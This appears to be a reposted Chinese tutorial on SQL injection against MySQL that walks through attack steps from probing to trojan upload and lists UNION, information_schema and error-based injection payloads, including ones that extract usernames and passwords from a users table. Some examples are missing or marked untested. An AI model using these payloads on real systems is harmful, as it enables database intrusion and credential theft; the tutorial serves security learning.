渗透测试---数据库安全: sql注入数据库原理详解
文章目錄
- 1 介紹
- 2 一般步驟
- 3 注入
- 3 函數
- 3.1 常用的系統函數
- 3.2 字符串連接函數
- 3.2.1 concat() 函數
- 3.2.2 concat_ws() 函數
- 3.2.3 group_concat() 函數
- 4 注入
- 4.1 聯合查詢 union 注入
- 4.2 information_schema 注入
- 5.2.1 獲取所有數據庫
- 4.2.2 獲取指定數據庫的表
- 4.2.3 獲取指定表的字段名
- 4.2.4 獲取字段值得內容
- 4.3 基于報錯信息注入
- 4.3.1 三個常用報錯函數
- 4.4 數字注入
- 4.5 搜索注入
- 5 sql注入防御
1 介紹
SQL注入漏洞主要是由于,在請求的時候沒有做嚴格的過濾,導致傳入的語句被當做SQL語句被執行,從而導致數據庫受損(被脫庫、刪除、甚至數據付權限淪陷)
更多攻防文章:有勇氣的牛排 — 攻防
有勇氣的牛排官網:https://lgch.xyz/
2 一般步驟
SQL注入點探測
判斷什么地方存在SQL注入點,通常在表單,文章查詢等與數據庫有關操作的頁面。
收集后臺數據庫信息
不同的數據庫的注入方法、函數各不相同,因此注入前要判斷數據庫的類型。
如:
特殊字符、單引號:讓數據庫返回錯誤
函數:
version()函數:MSQL專用
猜測用戶名和密碼
表名、字段名、字段數、用戶名和密碼。
查找 Web 后臺管理入口
可以使用 目錄掃描工具
入侵and破壞
登錄后臺:上傳木馬、篡改網頁、竊取信息。
進一步提權:入侵Web服務器和數據庫服務器。
3 注入
測試數據
+---------------+----------------------------------+ | isbn | title | +---------------+----------------------------------+ | 9787302458210 | SQL Server 從入門到精通(第2版) | | 9787115496003 | 虛擬化技術應用與實踐 | | 9787302510109 | 算法設計與分析(第4版) | | 9787503442490 | 心靈密碼 | | 9787503421884 | 雪狼 | | 9787539635835 | 龍頭老太 | +---------------+----------------------------------+3 函數
3.1 常用的系統函數
| version() | MySQL版本 |
| user() | 數據庫用戶名 |
| database() | 數據庫名 |
| @@datadir | 數據庫路徑 |
| @@version_complie_os | 操作系統版本 |
3.2 字符串連接函數
三大法寶:concat(),group_concat(),concat_ws()
3.2.1 concat() 函數
特點:concat(str1,str2,...)
返回結果為連接參數產生的字符串,如果任何一個參數為NULL,則返回值為NULL,可以有一個或多個參數。
1. 不使用字符連接函數:
select isbn,title from books limit 1; +---------------+----------------------------------+ | isbn | title | +---------------+----------------------------------+ | 9787302458210 | SQL Server 從入門到精通(第2版) | +---------------+----------------------------------+2.使用示例
一般我們都要用一個字符將各個項隔開,便于數據的查看
3.2.2 concat_ws() 函數
CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一個參數是其它參數的分隔符。分隔符的位置放在要連接的兩個字符串之間。分隔符可以是一個字符串,也可以是其它參數。如果分隔符為 NULL,則結果為 NULL。函數會忽略任何分隔符參數后的 NULL 值。但是CONCAT_WS()不會忽略任何空字符串。 (然而會忽略所有的 NULL)。
特點:CONCAT_WS(separator,str1,str2,…)
使用示例
3.2.3 group_concat() 函數
GROUP_CONCAT函數返回一個字符串結果,該結果由分組中的值連接組合而成。
select bid,author,group_concat(bid) from books where author in('金勇先','方兆祥 著') group by bid;就不演示了,sql語句如同上面
4 注入
4.1 聯合查詢 union 注入
使用聯合查詢進行的前提是我們進行注入的頁面必須有顯示位。
1、使用union
payload:
select 必須有相同的列,且各列的數據也都相同,同時,每條 SELECT 語句中的列的順序必須相同。
聯合查詢可先在鏈接最后添加 order by X 基于隨意數字的注入,根據頁面的返回結果來判斷站點中的字段數目。
2、 payload:a' order by 4#%
3、得到主查詢由三個字段后,我們用union來做一個sql拼接。
pauload
這里沒有測試通過
4.2 information_schema 注入
information_schema數據庫是MySQL5.0系統自帶的數據庫,其中保存著關于MySQL服務器所維護的所有其他數據庫的信息。
select group_concat(schema_name) from information_schema.schemata;實際注入測試
5.2.1 獲取所有數據庫
類型:id=/wd=/name=
-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name) from information_schema.schemata4.2.2 獲取指定數據庫的表
payload
a' union select table_schema ,table_name,3 from information_schema.tables where table_schema='library' select bid,author,title from books union select table_schema ,table_name,3 from information_schema.tables where table_schema='library';4.2.3 獲取指定表的字段名
payload
a' union select table_name,column_name,3 from information_schema.columns where table_name='users'#% select bid,author,title from books union select table_name,column_name,3 from information_schema.columns where table_name='users';4.2.4 獲取字段值得內容
payload
a' union select username ,password,3 from users#% select bid,author,title from books union select username,password,3 from users;4.3 基于報錯信息注入
此方法是在頁面沒有顯示位,但是 echomysql_error() 函數,在前端輸出了錯誤信息的時候方能使用。
優點是注入速度快,缺點是語句較為復雜,而且只能用 limit 依次進行猜解。總體來說,報錯注入其實是一種公式化的注入方法,主要用于在頁面中沒有顯示位,但是用 echomysql_error() 輸出了錯誤信息時使用。常見的select/insert/update/delete 注入都可以使用報錯方式來獲取信息。
4.3.1 三個常用報錯函數
updatexml(): 函數是MYSQL對XML文檔數據進行查詢和修改的XPATH函數
extractvalue() : 函數也是MYSQL對XML文檔數據進行查詢的XPATH函數.
floor(): MYSQL中用來取整的函數.
4.4 數字注入
or 1=14.5 搜索注入
在搜索框搜索的時候,成為搜索型。
數字型與字符型注入最大區別:數字型不需要單引號閉合,而字符串類型需要單引號閉合。
5 sql注入防御
參考文章:
https://zhuanlan.zhihu.com/p/258032596
https://www.cnblogs.com/lcamry/p/5715634.html
總結
以上是生活随笔為你收集整理的渗透测试---数据库安全: sql注入数据库原理详解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SOCKS代理工具EarthWorm、s
- 下一篇: Vue项目实操cookie相关操作封装